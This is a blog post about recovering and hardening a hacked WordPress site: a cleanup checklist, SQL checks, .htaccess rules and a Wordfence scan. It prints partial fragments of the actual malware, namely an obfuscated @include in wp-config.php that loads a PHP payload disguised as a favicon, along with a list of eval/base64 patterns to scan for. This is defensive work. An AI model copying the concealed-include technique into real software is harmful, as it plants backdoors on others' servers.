Hack, WordPress – A quick introduction to diagnose, restore and protect a hacked WordPress

I do mainly today mobile applications but I have still few websites running on WP and I have worked with WordPress since a long time. It is an easy, nice and economic way to make a website or even to run an API for a mobile application. Mostly because WordPress is very simple to take in hand for newbies.

The drawback of WordPress is the extreme vulnerability of the CMS to hacking. If you possesses a WP in production, be sure to look after it, making the required updates especially both for themes, plugins and the core code. If not, soon your site will be vulnerable and an easy prey for hackers even the most novice ones.

Is it the approach of Christmas Time or the end of the year? Some hackers made me a present : they have brutally hacked one of the WP site that I have installed long time ago.

Who to blame ? No-one, expect me, the site owner or both of us. Indeed, the updates have been not been made properly, nothing has been really made to secure the installation… I know few people who are managing web servers that I have a word for WP that is relegated to a noxious plague known as WordPox. There is also some sexist and delicate designations for WP, known as « pute digitale » or the more scatological « pezzo di merda secca digitale ». Anyway something that is turning around the concept of digital whore that seems accessible to anyone but with a very high risk on contamination. Oooops.
Indeed, this is outrageously sexist and inaccurate towards WP if you intend to take some prophylactic measures, that we will see in a couple of lines below.

Anyway, the very first reaction when your site is hacked is that you feel sorry not to have been more cautious. When, you check the website from codex.wordpress.org, the first advice is pretty simple and quite wisely too.

Stay calm.

When addressing a security issue, as a website owner, you’re likely experiencing an undue amount of stress. It’s often the most vulnerable you have found yourself since being on line and it’s contrary to what every one told you, « Hey, WordPress is Easy!! »

Source : https://codex.wordpress.org/FAQ_My_site_was_hacked

Apart from being calm, I was wondering what kind of venereal disease or I’d rather what kind of « French disease » the WordPress installation has contracted.

What kind of hack is that?

Just find this weird injection at the beginning of the wp-config.php file…. Ugly, is that serious Doctor ?
Then, after, you find this, you just follow the thread of the ball to the source with the help of Google and Malwaredecoder.com

The infected file

@include "...wp-\x63onte\x6et/pl\x75gins\x2fakis\x6det/f\x61vico\x6e_9e3\x335b.i\x63o";

The path decoded by alwaredecoder.com

@include "/[path-to-the-wp-install]/wp-content/plugins/akismet/favicon_cr6m5a.ico";

Rename favicon_cr6m5a.ico to favicon_cr6m5a.txt then make obfuscation code reverse engineering with malwaredecoder.com

if (!defined('ALREADY_RUN_i9gf4u95y82hhxk6vnqq1wkmd2yrbrb'))
{
define('ALREADY_RUN_i9gf4u95y82hhxk6vnqq1wkmd2yrbrb', 1);
 
 $vzmykcweljo = 0512; function mmaxsv($jvhlpxcgue, $nxnkuazsjoblv){$nxnkuazsjoblv = ''; for($i=0; $i < strlen($jvhlpxcgue);
 ...

The path decoded by Malwaredecoder.com

 
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
 
 
if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}
...

Source : https://malwaredecoder.com/

What can I do?

Here is a quick TodoList of what you imperatively need to do if your WP has been hacked

  • Save the wp-config.php file, your images, and your personal files one by one (not the folder as it may contain unwanted files).
  • Make sure that there is no malicious code in the saved wp-config.php file.
  • Wipe out the entire folder where WordPress is installed.
  • Upload a new clean full package of the latest WordPress version.
  • Re-upload your wp-config.php file and images.
  • Re-install the latest versions of your plugins and themes.
  • Change the passwords for all WordPress admin users. Please use passwords that are hard to guess.
  • Change the hosting Control Panel password and all MySQL passwords.

Some kind of SQL queries that will help to check the content of your database if there’s been some damages.

SELECT * FROM wp_posts WHERE post_content LIKE '%<iframe%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<noscript%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%display:%'
UNION

Main security measures you can do or not…

Roughly, protecting WP consist of spreading Htaccess files everywhere! Htaccess files will help control the way visitors can interact with your website. The htaccess file is also used to block specific traffic from being able to view your website.

1. Modify the existing .htaccess of WP
The idea is to protect more carefully the access to some core files of WordPress eg wp-config.php, the .htaccess itself, prevent listing for directories…etc. You just have to modify the existing .htaccess of WP.

2. Add your own .htaccess for /wp-admin/
A second .htpasswd will be created to also secure more efficiently the administration dashboard

Be sure sure to place the .htpasswd, not in the root directory

3. Create the file .htpasswd and add the user mysuperuser

htpasswd -c /[path-to-your-htpasswd-file]/.htpasswd mysuperuser

If you don’t current have an .htpasswd, use the « -c » option to create the file with the first user. It will prompt you for a password and encrypt it for you.

Command to list the files including the .htpasswd

ls -la

If you already have the .htpasswd file and would like to append a new user, repeat the command with the « -c ».

Command to add a new user

htpasswd -c /[path-to-your-htpasswd-file]/.htpasswd mysuperuser2

Find the real path for your WP installation

In order to get the real path to your WordPress installation send a php file with the following command inside at the root directory of your installation.

echo (''.getcwd().'');

You will get printed probably something like this, depending your hosting service.
/home/[user-account-or-ftp-user-account]/www

Create the .htpasswd file and add a new user named mysuperuser
Hack, WordPress - A quick introduction to diagnose, restore and protect a hacked WordPress

Enter the password for mysuperuser
Hack, WordPress - A quick introduction to diagnose, restore and protect a hacked WordPress

You are done. Send, via FTP, the file .htpasswd out of the root dir of your WP directory
Hack, WordPress - A quick introduction to diagnose, restore and protect a hacked WordPress

The .htaccess that have to uploaded in the wp-admin directory. Be sure to put the correct to the .htpasswd

# SECURITY WORDPRESS for wp-admin
AuthUserFile [path-out-the-wp-dir]/.htpasswd
AuthGroupFile /dev/null
AuthName "Access Restricted"
AuthType Basic
require valid-user

Scanning the files of your previous WP

As you have made a fresh and new installation as you may need to re-upload some of the existing files from your previous WP eg uploads directory, plugins, themes…

I strongly advised you to scan these files that are probably infected, with malware more discrete, so you need to find and destroy it. These files are potential threats for your new WP such as backdoors, code injections, malicious iframes, hidden eval code, the the base64 family:base64_decode, gzinflate(base64_decode, eval(gzinflate(base64_decode, eval(base64_decode... and more. We have used for this task one of the most popular plugin named wordfence

Wisely, I have runned the plugin wordfence locally before uploading the all stuff on the new WP installation and guess what I found a bunch of crap installed by a hacker in order to perform malicious activity.

Launching the scan, being locally accelerated the scan process.
Hack, WordPress - A quick introduction to diagnose, restore and protect a hacked WordPress

Locally, I always have weak password the famous admin:admin and wordfence warned me on that. Good Boy!
Hack, WordPress - A quick introduction to diagnose, restore and protect a hacked WordPress

This one warning is typically what I was expecting from wordfence
Hack, WordPress - A quick introduction to diagnose, restore and protect a hacked WordPress

Theses warning are classical, just Out-of-Date plug-ins
Hack, WordPress - A quick introduction to diagnose, restore and protect a hacked WordPress

A possible .htaccess for your WP

The definitive .htaccess for WP. This is not this .htaccess that will protect the directory /wp-admin/

# BEGIN WordPress
<IfModule mod_rewrite.c> 
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule> 
# END WordPress
 
# BEGIN SECURITY
 
# BEGIN ENVIRONMENT 
# SET register_globals to off security
SetEnv REGISTER_GLOBALS 0
# END ENVIRONMENT 
 
# NO listing for directories
Options All -Indexes
 
# NO listing for directories
IndexIgnore *
 
# Hide server informations
ServerSignature Off
 
# Enabling the tracking of symbolic links
Options +FollowSymLinks
 
# Time zone selection
SetEnv TZ Europe/Paris
 
# Default encoding of text and HTML files
AddDefaultCharset UTF-8
 
# protect wp-config.php
<Files wp-config.php> 
    order deny,allow
    deny from all
</Files>
 
# Protect .htaccess and .htpasswds files
<Files ~ "^.*\.([Hh][Tt][AaPp])"> 
	order allow,deny
	deny from all
	satisfy all
</Files> 
 
# Protect wp-login.php
<Files wp-login.php>
AuthUserFile [path-out-the-wp-dir]/.htpasswd
AuthName "Access Restricted"
AuthType Basic
require valid-user
</Files>
 
# Avoid comment spam
<IfModule mod_rewrite.c> 
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{REQUEST_URI} .wp-comments-post\.php*
RewriteCond %{HTTP_REFERER} !.your-site-domain.com.* [OR]
RewriteCond %{HTTP_USER_AGENT} ^$
RewriteRule (.*) ^http://%{REMOTE_ADDR}/$ [R=301,L]
</IfModule> 
 
 
 
 
# Avoid discovering an author's ID
<IfModule mod_rewrite.c> 
RewriteCond %{QUERY_STRING} ^author=([0-9]*)
RewriteRule .* - [F]
</IfModule> 
 
# Disable the hot-linking of your images
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?your-site-domain.com [NC]
RewriteRule \.(jpg|jpeg|png|gif)$ https://fakeimg.pl/400x200/?text=no-way [NC,R,L]
 
 
 
# Caching files in the browser
<IfModule mod_expires.c> 
ExpiresActive On
ExpiresDefault "access plus 1 month"
 
ExpiresByType text/html "access plus 0 seconds"
ExpiresByType text/xml "access plus 0 seconds"
ExpiresByType application/xml "access plus 0 seconds"
ExpiresByType application/json "access plus 0 seconds"
ExpiresByType application/pdf "access plus 0 seconds"
 
ExpiresByType application/rss+xml "access plus 1 hour"
ExpiresByType application/atom+xml "access plus 1 hour"
 
ExpiresByType application/x-font-ttf "access plus 1 month"
ExpiresByType font/opentype "access plus 1 month"
ExpiresByType application/x-font-woff "access plus 1 month"
ExpiresByType application/x-font-woff2 "access plus 1 month"
ExpiresByType image/svg+xml "access plus 1 month"
ExpiresByType application/vnd.ms-fontobject "access plus 1 month"
 
ExpiresByType image/jpg "access plus 1 month"
ExpiresByType image/jpeg "access plus 1 month"
ExpiresByType image/gif "access plus 1 month"
ExpiresByType image/png "access plus 1 month"
 
ExpiresByType video/ogg "access plus 1 month"
ExpiresByType audio/ogg "access plus 1 month"
ExpiresByType video/mp4 "access plus 1 month"
ExpiresByType video/webm "access plus 1 month"
 
ExpiresByType text/css "access plus 6 month"
ExpiresByType application/javascript "access plus 6 month"
 
ExpiresByType application/x-shockwave-flash "access plus 1 week"
ExpiresByType image/x-icon "access plus 1 week"
 
</IfModule> 
 
# kill them etags
Header unset ETag
FileETag None
 
<ifModule mod_headers.c>  
<filesMatch "\.(ico|jpe?g|png|gif|swf)$">   
    Header set Cache-Control "public"  
</filesMatch>  
<filesMatch "\.(css)$">  
    Header set Cache-Control "public"  
</filesMatch>   
<filesMatch "\.(js)$">   
    Header set Cache-Control "private"  
</filesMatch>   
<filesMatch "\.(x?html?|php)$">   
    Header set Cache-Control "private, must-revalidate"
</filesMatch> 
</ifModule> 
 
 
# Compressions of static files
<IfModule mod_deflate.c> 
    AddOutputFilterByType DEFLATE text/xhtml text/html text/plain text/xml text/javascript application/x-javascript text/css 
    BrowserMatch ^Mozilla/4 gzip-only-text/html 
    BrowserMatch ^Mozilla/4\.0[678] no-gzip 
    BrowserMatch \bMSIE !no-gzip !gzip-only-text/html 
    SetEnvIfNoCase Request_URI \.(?:gif|jpe?g|png)$ no-gzip dont-vary 
    Header append Vary User-Agent env=!dont-vary 
</IfModule>   
 
AddOutputFilterByType DEFLATE text/html  
AddOutputFilterByType DEFLATE text/plain  
AddOutputFilterByType DEFLATE text/xml  
AddOutputFilterByType DEFLATE text/css  
AddOutputFilterByType DEFLATE text/javascript
AddOutputFilterByType DEFLATE font/opentype
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/json  
 
 
 
# Block the use of certain scripts
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
 
 
# Protection against file injections
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]
RewriteRule .* - [F]
 
 
# Protections diverses (XSS, clickjacking et MIME-Type sniffing)
<ifModule mod_headers.c> 
Header set X-XSS-Protection "1; mode=block"
Header always append X-Frame-Options SAMEORIGIN
Header set X-Content-Type-Options: "nosniff”
</ifModule> 
 
# END SECURITY

Files on github: Models of htaccess_for_wp_admin.txt and htaccess_for_wp_root_dir.txt. Be sure to rename as .htaccess. https://github.com/bflaven/BlogArticlesExamples/tree/master/hacked_of_time_wordpress

Read more